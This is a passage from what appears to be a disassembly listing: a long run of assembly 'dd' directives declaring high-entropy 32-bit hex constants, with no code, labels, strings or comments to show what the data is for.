		dd 4CE91182h, 0BFB56DEBh, 680BB8CFh, 9F714EF1h,	109BD68Dh
		dd 0F2D23278h, 32F0028h, 0A8E92EEAh, 0A2014E32h, 5B68C2B4h
		dd 50A6C52h, 7C8818A3h,	0B0DFA821h, 54A86856h, 5AE59905h
		dd 0EA3407D9h, 0B45A2B81h, 86206DBAh, 0AF879591h, 0B267C20Fh
		dd 0E9841AFEh, 56AE1A06h, 8F0CA99Ah, 3802E845h,	68FBF45Fh
		dd 0E85C2829h, 3B90EBEh, 1ECF943Eh, 7E640E7Eh, 0B74312B7h
		dd 7C49F341h, 1AB3E0Eh,	0B65E855Ch, 264A168Dh, 0C9DE8FE9h
		dd 0DB0B0DBh, 0FC3414DFh, 0E6EFDA40h, 64B7441Ch, 11DE6217h
		dd 898BC110h, 891409CEh, 74E13246h, 7957524Ch, 145FA5FEh
		dd 0DEFCB730h, 18368152h, 0E9F43766h, 43415928h, 221C055Ah
		dd 2F87F3F2h, 755FC2ACh, 0D83976E0h, 0F75C929Fh, 1C711382h
		dd 0C8419877h, 0F112957Fh, 1E13E057h, 0BE14D3ADh, 4EC33C0Eh
		dd 0AB098F85h, 0F55EABE3h, 0DC1089h, 76F25906h,	2005090Ch
		dd 150B088Bh, 524D604h,	8AC1DEF7h, 0DC3ADB3Ch, 8326E91Bh
		dd 0FE9F576Fh, 1F841870h, 0EC895A60h, 49F126C5h, 5C974E26h
		dd 16754A05h, 712929B5h, 556CA810h, 53129A0Eh, 0AAF1DD34h
		dd 54817F62h, 729AA7A7h, 585418E8h, 16B4D397h, 2D99C0A1h
		dd 6525035Eh, 82D6506Eh, 0C4D9E607h, 0AA188C62h, 0E984DEB6h
		dd 1754FCF9h, 180C525Dh, 9ED254Eh, 1ED236EFh, 85BA8F5h
		dd 2B09E904h, 2D60A96h,	4A4F5EB0h, 654C583h, 7885D113h
		dd 0FC213E2Dh, 109E9C28h, 0AD553DA0h, 8075019Bh, 0E53B17EEh
		dd 7D58D53Ch, 0AA9D1870h, 0B5FCCCB5h, 11FC27C6h, 6805C196h
		dd 98E34A62h, 662D0705h, 4C7EE1Eh, 138648B3h, 0FDCBF347h
		dd 0E59B12CDh, 9D2514Bh, 6102D392h, 643BAAE9h, 6EF78BF4h
		dd 42B93DA8h, 0D5602CEh, 8195B844h, 0D858A6EAh,	9985E12Ah
		dd 7C2D806Dh, 18F1FFDh,	36EFC24Ah, 884ACAC6h, 9F4598E3h
		dd 0D2F3E23Ah, 6804DCAFh, 4C55B52Dh, 0FB094DCFh, 7545E569h
		dd 7AA8BA01h, 27E0B48h,	0AC3C52A5h, 95CB7EE0h, 5C00F69Bh
		dd 3156BA5Dh, 15B4CDAh,	5E4B1220h, 402546A4h, 6B48BE0Ch
		dd 50352D92h, 717B9776h, 202F72CBh, 99A11F6Bh, 79F8D844h
		dd 0F4BD2F6h, 0E34AFBA6h, 6E716C0h, 731EEC85h, 7DF88109h
		dd 995F7722h, 0AF381549h, 1879D06Dh, 0C32D12Ah,	0DF16078Ch
		dd 3CBB5970h, 9F30E982h, 3FF13D2Dh, 6CA92D21h, 0C687F474h
		dd 6F104F2Ah, 0BC11E168h, 3BE860B6h, 0BEB81CF2h, 9B087199h
		dd 0EF80002Bh, 0FD88513Ch, 1178E8B7h, 0BA1CC0ABh, 0C7A5320h
		dd 0F3D78925h, 3DBD007Ah, 0E97D4FD2h, 30C80532h, 0E847D55Bh
		dd 6894DFADh, 0A70BFC5Ah, 4909715Ah, 52C80600h,	0E9164ABBh
		dd 0C4A94EEEh, 8446CBDEh, 68058251h, 1BAD14A4h,	0F751558Bh
		dd 275F71A5h, 7D4267F6h, 5B2D00DCh, 8F4A87E6h, 0EC5F46FDh
		dd 0F8BC2946h, 0EA2725BCh, 4E81006Ch, 64413D07h, 0F1711F29h
		dd 0A5F36FE5h, 0AA5AE394h, 82873F3Ch, 0F0B1D082h, 0EA02800Ah
		dd 0E1213370h, 0FC69D940h, 78D0F203h, 8DE350F4h, 0E9E0A0F5h
		dd 9EDDF530h, 3A805256h, 834BDFF3h, 9032D36Eh, 7EF15E60h
		dd 0C8CD60DEh, 0F0989E50h, 89E99B82h, 0F9703105h, 0C78D9F34h
		dd 78A76C80h, 0B55F5D57h, 17292A89h, 0E3A1D184h, 8BBB3104h
		dd 0BC938934h, 0F88F56C2h, 0EE87B03Eh, 1E932DE9h, 0E8081168h
		dd 0F9D1295h, 0DCA46D5h, 0C7BA20E7h, 0D3D935A2h, 0FB4BED90h
		dd 0F8FAF009h, 0BFD695F2h, 0BDD3925Ch, 811CED82h, 5A027FFEh
		dd 80710E30h, 8C789D94h, 0A5E91068h, 85BD0253h,	57C69BE6h
		dd 85E1DC2h, 214DC2Fh, 63433E7Eh, 48F8E41h, 0F3790DFEh
		dd 3E9D08E7h, 0BB419641h, 0AE056209h, 7E25A5F7h, 0E27F7E92h
		dd 0F3DDA2ECh, 6E494119h, 1CB2192h, 7E6F902Dh, 5859F42Ah
		dd 5AD11BC1h, 0CC3ACB01h, 9E3DE945h, 0EDCCCA0Bh, 34AA4F7Ch
		dd 0A8C21230h, 0B82EADFDh, 2195B7E8h, 58C708D4h, 3DC0FC5Fh
		dd 9FC8553h, 8D37D0F3h,	0BF19B324h, 1B6E65Ah, 10EE1A8Eh
		dd 1E6502E9h, 509D9A3Fh, 0ED5EBE1Eh, 6526958Ah,	0CC63AEDCh
		dd 0A024E97Fh, 96F38F9h, 51672B73h, 91C28DAh, 5D683B67h
		dd 0ED515778h, 54BE9608h, 27BD2680h, 40A1301Dh,	444ECF32h
		dd 0E4D4A33h, 2998A1CEh, 1964EEF4h, 6C01A85Bh, 0F0C907ADh
		dd 3ED9048Eh, 0EA5D7A72h, 0ADA92D65h, 0BB332C5Ah, 0C62C3384h
		dd 9C859CAh, 0FA4FB753h, 0FE2DA7F9h, 68DE83F7h,	0E3AE85CCh
		dd 0C0EECB28h, 2EEAD1E6h, 8AFC23Bh, 68058E6Bh, 0A6371BF0h
		dd 0B67E4080h, 0F6E92774h, 0C3A88A51h, 0D913085Fh, 0C2B409BCh
		dd 92D50685h, 1D175FDh,	0B07A5CF1h, 0D8031740h,	0F7D78741h
		dd 470826D2h, 448C0058h, 0EF834A35h, 68F8017Eh,	87E6555Bh
		dd 2BE50B07h, 0E9CFB0C0h, 0BA9F4F65h, 96C855D8h, 3991647Eh
		dd 4A07C02Fh, 0BDF028A6h, 4B8002E8h, 0D601390Dh, 6CED2BC0h
		dd 44B58B1h, 0B8941503h, 0E6110CA9h, 0DCE52FAEh, 30B8029Dh
		dd 0C37F6EBDh, 53C80061h, 0E925CB61h, 1B1027Ah,	0F5185602h
		dd 6763F75Dh, 517B3FF1h, 786D8BD0h, 3225CE2Fh, 0C101C3F2h
		dd 0F4B82E1Bh, 0D5982151h, 80D0176Ah, 3C74A143h, 0A27EF929h
		dd 72314208h, 72F60753h, 0B67BA57Ch, 6897BF75h,	0A2CEE15Dh
		dd 304075F7h, 6AE14456h, 85973AE9h, 0C7DB00B8h,	12A3E91Bh
		dd 42E35BC1h, 9E20E452h, 1FE0BF3h, 0AF4022DBh, 2D807E8Ah
		dd 24B137Dh, 41D5013Ch,	2E77BA6Fh, 40C205B0h, 0CE482CF9h
		dd 5B103871h, 2C568BBh,	18C98D94h, 0B0B353BBh, 0D8C339A1h
		dd 0DCB0EB99h, 0B0BE5719h, 70FFFAEDh, 16C8894Dh, 0EB202779h
		dd 30AD59F1h, 0AE02D47h, 365DE955h, 24524B5h, 58E37F15h
		dd 78FD1030h, 5181A65Dh, 2B252668h, 550D798Ch, 0FE8268EEh
		dd 3A88432Eh, 0B5392057h, 0C044B011h, 3F8E860Ch, 3325E9F8h
		dd 841E5984h, 0D263F268h, 0C0E492CFh, 0E97011BCh, 8CB24BE2h
		dd 0EA31687Eh, 0DD4D1D0Fh, 70800005h, 31506E9Ch, 0CC5AF27Dh
		dd 64EB3D40h, 0F630101Ch, 0BD0D7B0Bh, 0DB2DAC10h, 88816F9Dh
		dd 8A505F37h, 1B2C2DFEh, 0E910C164h, 0C740CC63h, 35E06FFAh
		dd 0A45897A0h, 822C0F2Eh, 99A86DF6h, 8A170879h,	7F90439Ah
		dd 2D6F601Ah, 4F5C4106h, 0BA274E80h, 28CA31E8h,	0BCEF4A59h
		dd 0C2018BFDh, 0EF8CED04h, 8B3912CBh, 0A5CDE85Eh, 0B3E117FBh
		dd 60979F71h, 0F4B9AC0h, 0E72CEF81h, 0AFF77481h, 0B52F743Ch
		dd 7E565527h, 23E2E0E3h, 2D0479F8h, 96D02E4h, 1619C4BEh
		dd 127B8A07h, 1FA9ED68h, 0ADFC9C2Eh, 9708467Eh,	8C50147Bh
		dd 330A2600h, 5310B81Dh, 315CC30Bh, 0C22302C8h,	65BB0078h
		dd 204EBC05h, 9087B9A1h, 0C5855815h, 12D7804Ah,	274C9250h
		dd 0AE1063D0h, 0D8A292C5h, 9FE97F89h, 24E01CCBh, 0D8FBC40Bh
		dd 1F3C36F5h, 60C6093h,	5BB1CE7Dh, 7D0F989h, 2021FDEAh
		dd 32BAFA95h, 0C4DF5789h, 0EA684C45h, 77DE899Eh, 1518CB0h
		dd 0E3C377C0h, 0A44B0436h
		dd 0D4459724h, 0DA16FD2Ch, 1A6326D1h, 0F1C4696Ch, 348B04B4h
		dd 474B8AA3h, 0E797B06Dh, 1B9AD316h, 0F54B7A50h, 0F380EEBEh
		dd 187B5BD3h, 65DD4889h, 0C6EA2919h, 0EC0E2F7h,	0C62F3049h
		dd 1373582Eh, 11DEF3Bh,	34F1FC9h, 0A0A42F74h, 9C8B6B0h
		dd 20FFE7D1h, 78CB797Eh, 15A8201h, 0F7A06F20h, 360BF23Ah
		dd 5038E302h, 0C0D29351h, 0BB535784h, 8F253F39h, 0B938E052h
		dd 1D060BFCh, 0CD8310Eh, 2EE63B35h, 2C36483h, 135B90Ah
		dd 0EEF218BDh, 0D8779369h, 0A3435515h, 957419F0h, 0A0F6B32Eh
		dd 799FCA42h, 0D505C00Bh, 72500F01h, 8885BF1h, 45D0837Ah
		dd 7D7A1469h, 44856C4Ah, 8B0B8DAAh, 9147ABEBh, 4EE85933h
		dd 0B0AE9009h, 0DEF701E9h, 0E5C1F587h, 50F33F07h, 0BEEE40h
		dd 14EF62EEh, 116E7E9h,	7A728094h, 99492D4Dh, 578D41D1h
		dd 0E17B8B8Ch, 13D43A8Ah, 6EAEAA82h, 0EC544FD7h, 0CD09DE7Ch
		dd 5130FE62h, 3C5CF45Bh, 95FE6B7h, 307F2138h, 62B7EC96h
		dd 8029831Ah, 3102BFFCh, 0EBF761F0h, 9F85283Bh,	21747A04h
		dd 0B7FF28E9h, 0D72A7B59h, 13A03CFBh, 5DEA62CFh, 0BCBB831h
		dd 0EA2C0AE9h, 0AD58283Dh, 39A74125h, 0B801D8E6h, 619C0540h
		dd 0FA99C47Bh, 0A366FC12h, 38E30B5Ch, 2E00417Bh, 0D0B3F01Eh
		dd 5B5B58F8h, 189474ACh, 897DEF4Bh, 29C9A268h, 9778CEAh
		dd 5099DE31h, 7D5284E9h, 3507019Fh, 10CF4667h, 0E761DD4h
		dd 512506BEh, 40246B43h, 0BB3452D8h, 0F5BE490h,	0F8212806h
		dd 0CB60B59Dh, 0BF0B5753h, 0FDDF6B6Ch, 0C81C322h, 0BEE90E75h
		dd 7F00F353h, 59C0C645h, 6FB40557h, 0C81A35E9h,	3A1E9438h
		dd 3B826910h, 753CE473h, 2DBFE702h, 0DFADDDD1h,	7BF9CD93h
		dd 0D2752956h, 0D7C01C17h, 9D5A0203h, 569DAB5Eh, 0C53122F1h
		dd 0E3B6E1CAh, 594F0D2Ah, 0A8AF2C27h, 347A4A68h, 319DF34Ch
		dd 0CA8868B1h, 72E9D7C8h, 3FFE97DDh, 0CFB77E49h, 24CDF0C5h
		dd 93E1BE6Eh, 788F8DAh,	0CA685250h, 0FF611411h,	0BCF8872Dh
		dd 5CEC0B3Ch, 0FFC126E9h, 0D5C03E55h, 9A1E6372h, 1CD8B6C2h
		dd 0F19EEC1h, 1A9108Bh,	89C90B6Bh, 0CDE17BB4h, 104CCA6Eh
		dd 12DC0E1h, 5E2DD9FBh,	1C6E2C03h, 1E80BA89h, 682E9126h
		dd 0C5A9115Fh, 0B5002F7Eh, 0D839F2BAh, 981754Ch, 238827A5h
		dd 223620FDh, 0C170E00Fh, 0B7052F1Ch, 46F7063h,	1B7E12C0h
		dd 36E90F32h, 0C2A4F7FDh, 0C28564Dh, 125AF180h,	244E40DCh
		dd 2DE6158h, 46AA5C31h,	1AC87509h, 52F0191h, 3EE7C10h
		dd 905CE953h, 595D3416h, 7AF886E1h, 0BE016212h,	2D002CE5h
		dd 7A652598h, 35552623h, 0C1E82CEh, 0AC850AEEh,	881BAE5h
		dd 546E29A6h, 0D112B6A4h, 0C48AE2A0h, 8DBBC03Ah, 0CB6221B1h
		dd 601BB2A1h, 3879708Bh, 0DB447E4Bh, 55028B33h,	5579FE68h
		dd 0D84516BFh, 39B176E4h, 0C15FD351h, 7505CCCh,	17C8E5D0h
		dd 0F1806D2h, 1938448Ch, 60AFF504h, 81EF3F2Ah, 0DEC5C2h
		dd 17E80548h, 8422836h,	5F00ED09h, 0BB43E22Dh, 9569F641h
		dd 79DF8B62h, 4A559F51h, 13040C9h, 5D1DE28Ch, 0E4412131h
		dd 1413BBE6h, 21FE3B19h, 72276C9Bh, 3950161h, 800F04E3h
		dd 498730C9h, 0F59179EBh, 1BE6C0C5h, 237CC036h,	7C7EE101h
		dd 0F2E91D65h, 58FA012Ah, 3F55595Ah, 0FC7F78E3h, 8092944Dh
		dd 3AB0DC03h, 9C90CD31h, 985A6B40h, 42240B63h, 0C4556FD5h
		dd 65E91ACEh, 52D7A22Bh, 0F229A0A3h, 0A93A1F1Eh, 2DD0929Bh
		dd 3FF47AD0h, 157817F6h, 17FF20Dh, 352B202Fh, 122F05E9h
		dd 0F902EAF2h, 0FE0114ACh, 0E95778CBh, 0C9376630h, 251AA968h
		dd 47F02E4Bh, 0B4E55B09h, 0F3225DD1h, 9B5D1B0Ch, 0F1C7C937h
		dd 12FAA26Bh, 9D91A268h, 0F5F7F2E2h, 0FDD3D7F7h, 553C895Bh
		dd 48B71E46h, 96165465h, 297EC2B7h, 9A92AEC6h, 0F2C4F6B5h
		dd 66645FDh, 5B5F17E9h,	4EAAD51h, 10F3BE86h, 8BBAC02Eh
		dd 0A2CCF6FCh, 6F4D6AF8h, 0C1FE12F7h, 0C0DD805h, 0D6064FBAh
		dd 0E1968324h, 0F80520FEh, 0B9FB00BDh, 6F682038h, 7A62942Fh
		dd 51603AC1h, 55994207h, 7E92C202h, 40734226h, 5B3AF030h
		dd 0DC591059h, 4671DE20h, 0D8B5C498h, 387603D4h, 9335562Eh
		dd 40530BA0h, 48597CB0h, 9A72D50h, 0ED1E803Ch, 5AF01D24h
		dd 40C3A903h, 68155808h, 50782619h, 6C09D30Fh, 0C8596F97h
		dd 2785405h, 870F1FB0h,	0C54BAC8h, 2A802BFh, 0C0D9293Ah
		dd 81CA3FF4h, 2BB86B57h, 0C7DD518Bh, 85A2A720h,	9A5C6DC2h
		dd 34516861h, 54C4003Ch, 0BFAFD108h, 4BA463F3h,	0A9C0B5D2h
		dd 0C00476BAh, 557357F1h, 0CF890B05h, 12AE32E9h, 0A26CEB31h
		dd 0F20525E9h, 0D1E711FCh, 0D1C83C9h, 5F618A16h, 7DFAD2C6h
		dd 0AE9F1766h, 0DC6D88C6h, 0B16ABC4Ch, 99BBDA13h, 0EA0C5036h
		dd 223742Eh, 0F50D7CADh, 1F2EE160h, 0E07E0141h,	210043A8h
		dd 0DBF75B34h, 1D83E381h, 8F276736h, 46A107F3h,	5039E903h
		dd 6C146897h, 91851895h, 6D96054Ch, 0BE1278E9h,	6468B830h
		dd 0E016AB72h, 0E80D54BDh, 28D57787h, 606D2F7h,	1B850F4Dh
		dd 450C4327h, 0FEC03E9h, 0B6B20A5Bh, 2EDC565Dh,	0C729001Bh
		dd 5EFC158h, 9BCF8103h,	0B765D410h, 0DF30D791h,	9DFE01D8h
		dd 0F9977416h, 0E15C120Dh, 5DE67B56h, 85CEB692h, 6F5359F4h
		dd 33A09D02h, 0BA77F4Ch, 98653381h, 0BAD9255Eh,	9568D603h
		dd 59BCA098h, 347E3F15h, 0E08859A8h, 0B309350Eh, 825C2603h
		dd 0DF696516h, 788ED0A1h, 8BA2EF29h, 2BDB2977h,	514F5561h
		dd 46896806h, 16675FCBh, 0CD8BB9Ah, 0F0BA41ADh,	5E7CB768h
		dd 9C82969Ah, 7175726Ah, 0CBE94FFAh, 0D69BFAD6h, 1A24C904h
		dd 24CF297Eh, 9BF6791h,	0A5E5FD14h, 0A838D96Bh,	0E4C2008h
		dd 0F4EC160h, 92BCD288h, 51BA31A3h, 364925E3h, 1A152E10h
		dd 0D613688Eh, 0EE5B91A2h, 0D1C0ED24h, 58EE1E5Ch, 71099E19h
		dd 27D5E74h, 7FB179C8h,	3843198h, 6DB0BBD7h, 0B05006F7h
		dd 0E2753458h, 0EDF3C062h, 0D898C202h, 2AB0B5F9h, 0C14EABE9h
		dd 41910828h, 0C64560B8h, 0E78ABAB4h, 933FEF02h, 0A6140A25h
		dd 689D2F1Ch, 16B6286Eh, 0F850107Fh, 0A09A1CB7h, 20761C2Fh
		dd 5B5AB342h, 36B741A8h, 0F33F3BA7h, 6FC49EA0h,	162006CCh
		dd 1DE16BDh, 43EC0955h,	0D1B568D0h, 0B687C7FDh,	0E92F064Bh
		dd 666D84ECh, 560E88AAh, 348FFF45h, 0EB445455h,	8AEDF009h
		dd 78B69E22h, 26C03EAh,	0B973E91Ch, 0EBB3AB85h,	31C8EFD3h
		dd 2C3E600Eh, 275D86BAh, 4C9E0B59h, 7B85049Ah, 21824FC7h
		dd 26C5982h, 278A2ECBh,	4B8242D7h, 0B364ACBh, 0BA62B257h
		dd 0A10B458Fh, 5493537Bh, 0A97D27B1h, 38B55100h, 5339C580h
		dd 0F6D7B71Ch, 4AF71EBCh, 0CBE3CFCFh, 93B082C7h, 602D00C4h
		dd 905AD0F3h, 3815FB0h,	453918F7h, 0D79CE94Dh, 0BFD85242h
		dd 2FE1C949h, 54A913F0h, 128CD1C3h, 0A8310304h,	285F05A8h
		dd 11B86759h, 0B7EF5E2Ah, 0AD74DDB8h, 4A1682A7h, 824379B8h
		dd 85ACA218h, 7BBDE582h, 3A2C8B74h, 0B1873C85h,	0A6817AF7h
		dd 0B27AEBBDh, 2C48DF59h, 860F0126h, 6C011AF1h,	0CE01B5F0h
		dd 0CA20E7Dh, 28A18670h, 71C3F55Bh, 0FCDB95A4h,	3C788608h
		dd 5D2D0B48h, 12C5D19h,	8000B0BBh, 0C3E6F5F6h, 0F3489770h
		dd 0E5B475E5h, 3A6E488h, 0D2F602B2h, 804AE8C9h,	2D2C2A13h
		dd 1F6FB652h, 0D46ECE80h, 0FA4BC0EDh, 58C01973h, 7916976Fh
		dd 0D0B4AC70h, 4756F13h
		dd 1FA64088h, 98C42D59h, 0DEEB8821h, 0A7E79C05h, 2A88D189h
		dd 0FD526566h, 75F6AA14h, 5301397Fh, 0B85B6192h, 0D5FCC54Dh
		dd 0D3428DEFh, 2ADCCCE2h, 818FB609h, 0DEF68243h, 0D0500A85h
		dd 0ED0984EEh, 4D235E4h, 4DFE1C01h, 50602BB2h, 8462BEA6h
		dd 867D1EEAh, 0F70C0C12h, 0C276DD20h, 5FDE1892h, 84A0CBBh
		dd 74974073h, 2584C3E5h, 0BD552E88h, 7328560Bh,	23300962h
		dd 58F9309Dh, 32AAFCEh,	51BD0CF5h, 0ED703D23h, 33289518h
		dd 82E55834h, 0B76EE07Dh, 0FE2EC7B5h, 0C209EEC7h, 12A4C4F4h
		dd 0DBFD26BDh, 59F15E97h, 7BCBD92Eh, 58A0BCECh,	0AC4BDDE9h
		dd 890E634Fh, 997EC037h, 0AF62D2BEh, 0FD5B672Ah, 0B0E9B041h
		dd 0A1109DC5h, 0B1251F51h, 7C5880Ah, 0FF965D27h, 5E76FB01h
		dd 2DB2055Dh, 0F83A6A68h, 0E35807D1h, 9FA4BE9h,	0A7DC5D5Ah
		dd 2D1B445Ah, 8438F963h, 101D5205h, 0F54E77B1h,	0FF212B53h
		dd 3A077908h, 50FC11D1h, 6C9C00B8h, 0DB0D4AEDh,	30EB0F54h
		dd 395BCA34h, 0F7081842h, 0CC4861D8h, 89E4162Ah, 992A3ADDh
		dd 0C569D34Eh, 0DA0104FCh, 5A43E2AFh, 0C38026F9h, 58FD4373h
		dd 81527297h, 646B5A08h, 5812FBFDh, 0C13AD9A1h,	218D3FFh
		dd 0A797D5Fh, 75BC29C9h, 0B5F25E98h, 855B7BB7h,	987D4468h
		dd 0C8606FCBh, 771CBD26h, 553F249Bh, 7E3B8302h,	0E0201A58h
		dd 0B91CEA8Ch, 0B35307E5h, 65DD07A8h, 14DE35Bh,	5095B252h
		dd 0E3C9D488h, 1486E0A4h, 162DECB8h, 0F27339D6h, 5EABC82Bh
		dd 12A4A431h, 0E67D1668h, 0A5E2D318h, 0DA77FF86h, 0F920B82Dh
		dd 4AC88CBBh, 78D68361h, 60F565FCh, 11F4E94Ch, 91C223C0h
		dd 2F62E35Ah, 98D7D329h, 0C40227D1h, 752A5C7h, 90D1D8F6h
		dd 0E021C288h, 0ED1036D5h, 0AB0F1ECCh, 0AE504532h, 80B5D2B5h
		dd 70109145h, 55DC46F6h, 0B4562028h, 68743416h,	1F98C242h
		dd 0E5785DEFh, 46E512C1h, 0AAE73AB5h, 0E4414003h, 67D9275Ah
		dd 4655ED0Fh, 388F2758h, 0D91904B2h, 685601B4h,	7438573Eh
		dd 0BDF716C5h, 0A8C8DE1Fh, 0EC6804CCh, 0C9BBA85Eh, 258BF09Bh
		dd 3CF7C329h, 3D1431E3h, 62EF280Ah, 0B9F81939h,	32D8598Ch
		dd 24838266h, 64A43C1h,	39BAA8F1h, 1A7164AFh, 0F089161Fh
		dd 27434C49h, 66035E9h,	0F6BD3C87h, 0CC7F5ABBh,	3A99029h
		dd 1B590C76h, 0B197ABFh, 5EA5F729h, 29F2657Dh, 8D8E67FFh
		dd 3D8C22B7h, 0DEB41031h, 0F2B0AD2Fh, 555A4945h, 0ADAB3F1h
		dd 9CBF0479h, 2E2B813Fh, 0D1B37BE3h, 0C05AED94h, 0C02C59D7h
		dd 0F55FCB90h, 92F40BDh, 29A7E143h, 0C0B39F83h,	0C8D9BE85h
		dd 0A559B86Ah, 0A9B7FC04h, 3BC1E0EBh, 0F8DBE91Ch, 0E69E772Fh
		dd 24B3AE20h, 0FB4FE01h, 254410B4h, 0C4F3EA5Fh,	0E044E985h
		dd 0F734587Eh, 63F164DFh, 0A0E8103Bh, 0A985CA4Ch, 5CC0FA7Ah
		dd 284716CDh, 1EDD28E6h, 24C95439h, 2853F81h, 8129674Ch
		dd 75EAD1h, 5411685Ch, 0BC21C93Ah, 96183DC6h, 27BA150Bh
		dd 0C54C0BCDh, 8023853Eh, 0DA35D226h, 0FA011502h, 0DB9005E9h
		dd 23840C11h, 564CC93Dh, 9900D361h, 0CA95E82h, 65A82E68h
		dd 995B65CCh, 31813F96h, 0FC48466Ch, 0DD01163Dh, 65630440h
		dd 80FE126Ah, 7C32A433h, 4AEA084Eh, 399E5FFFh, 1208D734h
		dd 0A9200985h, 842FA304h, 557F9B1h, 8D0FA4C1h, 0AE0DD5FEh
		dd 6F7FB22Ch, 0AE16D18Fh, 0C42A5012h, 1A016809h, 511ECF59h
		dd 2A7EDF42h, 25E2D04Fh, 0B3C852E9h, 21882C6h, 0A40C6E9Ch
		dd 64F2D37h, 8831672h, 68140C40h, 9573D731h, 4981F244h
		dd 0B11D3BEAh, 0E0F1EC2Ch, 0FCB82BE1h, 3792E9F0h, 4CD1F1B5h
		dd 18B70BA8h, 0E4533C6Bh, 9C70955Fh, 791F6EEh, 66948A8h
		dd 2749748Bh, 15EEB464h, 0F9C9CEBDh, 0A9EB0415h, 0E520AA30h
		dd 893F028Fh, 40EC753Eh, 616C7418h, 3050382Dh, 2563F129h
		dd 26C8982Eh, 0FCBD5452h, 86717A54h, 0CB685BE0h, 0CE46B77Ah
		dd 2A76BF03h, 0EEBD6C07h, 99C0BD0Bh, 842E4E17h,	2D0FB07Fh
		dd 3174C20Ch, 3F3157C3h, 2D053CD7h, 7B9F825h, 677C3559h
		dd 49945C06h, 64DD6B17h, 85050BEh, 0DA058E58h, 0B312ED68h
		dd 183D640Fh, 5AE1E50Eh, 4EA2944h, 2A2D0816h, 99596726h
		dd 80966A1h, 1FDEB2FCh,	7B35C480h, 1D21B6A4h, 885A85F4h
		dd 287321E5h, 307630ECh, 0F62C72B8h, 2714A1DBh,	2EBA7F8h
		dd 53290F3h, 189D0157h,	7E7B0E37h, 823E5A04h, 0E023A816h
		dd 4A1347E9h, 120EF701h, 63AB5BD9h, 0EED4F2C5h,	698984D8h
		dd 2D51C07h, 55302955h,	7A95B6E6h, 5508822Bh, 0B92C3BEBh
		dd 0E9D0705Ah, 755863BEh, 0EE850294h, 0B0EE3D65h, 34BA5539h
		dd 0BF4E5E24h, 29023200h, 0FEF38910h, 0F4B95F8Eh, 592453DCh
		dd 70036907h, 0B0401E72h, 301CB0E1h, 0C40C4B48h, 430DEC3Ah
		dd 0C787CBE9h, 0F2230CD4h, 0B7CA900Eh, 582C3200h, 9B96F828h
		dd 93EB9708h, 0B1C507F2h, 0ACCFB4EEh, 0C55A7B89h, 5CDE3CAAh
		dd 0C878575Eh, 0BAF05A88h, 0F5F9BC2Dh, 6812332Ch, 0D62BBC95h
		dd 5E0BAE01h, 0D2603DE6h, 4651B7FFh, 58E11D39h,	8321CE57h
		dd 3C8161AAh, 62639ABBh, 9C12200Fh, 6D314405h, 0F9535BE9h
		dd 2E26CBA0h, 17277C16h, 1ADE65ACh, 0D960F0ABh,	0F87A88F2h
		dd 0C405934Bh, 0D0A8D331h, 17534E74h, 9352FF07h, 2A858380h
		dd 7C0B606Dh, 53DE6CF6h, 678B015Fh, 30C97359h, 2C68C0A2h
		dd 5BD636CAh, 6584E950h, 0AF0B0AB7h, 0D48DCB83h, 410A6802h
		dd 0E5DF64ABh, 109A689Dh, 0B151033Dh, 0A7E18010h, 132F133h
		dd 0C9FE290Ch, 20E3B450h, 0F4FC81F4h, 25E90C1Fh, 0B9DFE825h
		dd 1773D38h, 9639A500h,	0BC800F06h, 0ED2DA4A8h,	29173003h
		dd 18B3BDE9h, 0B8AF3AC9h, 6C127EB9h, 680E32F5h,	223CFC0h
		dd 0C4BAA1E9h, 52EC0F9Ch, 4D662EDCh, 0BB0416E0h, 77834727h
		dd 0F3447287h, 6EB66802h, 51E9307Dh, 6C2F19B9h,	78B640BFh
		dd 90522734h, 0B055AFBh, 6CB07969h, 79C08DFh, 25777827h
		dd 0C55AB74Fh, 1D5E995h, 4CBFF62Ah, 0E95109BDh,	0EAA17016h
		dd 0AAE6BCAh, 62AAC4FFh, 572915C0h, 68CC9E56h, 24BCB48Fh
		dd 1D7D2D23h, 0DBE91E2Fh, 0E8B1D7A6h, 0DAB5071Ch, 81124CB8h
		dd 1632BE44h, 13C75B5Bh, 0D75EB843h, 0C274AE8h,	10099573h
		dd 71586619h, 75A2978Ah, 0CE414D06h, 0FE13A5DBh, 70C31F20h
		dd 5C0F6BFh, 0C74BC30h,	0BF8FC01h, 935CE930h, 0FCD69C5Fh
		dd 46D65C1Eh, 0A82CFFF4h, 4657128Eh, 0D67DB832h, 0E947E502h
		dd 0C6205DBCh, 0A657D8B9h, 0EA9D0798h, 0AE4160E0h, 0DEE91226h
		dd 0C93CE4CAh, 35DAEC05h, 17F9D101h, 5D70E983h,	28CDFF85h
		dd 0F108ABE8h, 2C12726Eh, 4C7EC500h, 14049D20h,	0C34E802h
		dd 0D160548Ah, 4FC01F5h, 0E9897ECEh, 8439968Bh,	6B9A1A22h
		dd 44F2D19Ch, 0EEC6303Fh, 775E862Ch, 737699B0h,	39E91A1Fh
		dd 30805BFFh, 32F41360h, 2553593Fh, 0ECEBA8ADh,	0A5FFD6AFh
		dd 5012F3D3h, 0A95FD1BCh, 59EEC0E0h, 954FFA06h,	80C7FEAh
		dd 2A12E10Ch, 741C0BABh, 39FA01D6h, 315AFCB1h, 0DC2B9A97h
		dd 0E9095696h, 0E5010A53h, 0C7FBB86h, 0DF4EF206h, 1F3B8040h
		dd 10EACE43h, 0E9090828h, 2AA7DA37h, 0C37201F7h, 7BD68057h
		dd 1623307h, 0F561B5FEh, 13A87395h, 0CBBA14F7h,	20EA4E26h
		dd 0F7BBE933h, 0DF1CF991h, 50F47E4h, 0A30F1354h, 0F531835Fh
		dd 0EF21E85Eh, 0A423C65Dh, 0F7100A37h, 0E9261FD3h, 0C10A3398h
		dd 376161E2h, 0F81BBFF9h
		dd 5524638Bh, 82759C8h,	510F4C3h, 0E35E4068h, 27011370h
		dd 0BD5FB7F2h, 0A2D5977Fh, 99638BFEh, 0E22B54EAh, 0C2BECBEFh
		dd 3A484160h, 595AB452h, 622EBE15h, 1C7FAD46h, 9F2631F4h
		dd 0A5554614h, 0DDB00B0Eh, 0F2255845h, 0FDEC2773h, 0F2643ADEh
		dd 3C4A52FCh, 7D411761h, 0FCC3A46Ah, 48A56D16h,	30E9C8B0h
		dd 0BF207174h, 0B0484342h, 0CC5E261Bh, 2216D7ACh, 0EA32D4EBh
		dd 2D7BB5A5h, 13667A2Ch, 0F251B70Eh, 0F542E9C3h, 0A2C545ECh
		dd 578D7249h, 7D6FEE55h, 80B840E9h, 7CBDEF2Fh, 85983DB9h
		dd 0C4F11734h, 3BA82EE1h, 0C397A73Ch, 0AF330CC5h, 51EC223h
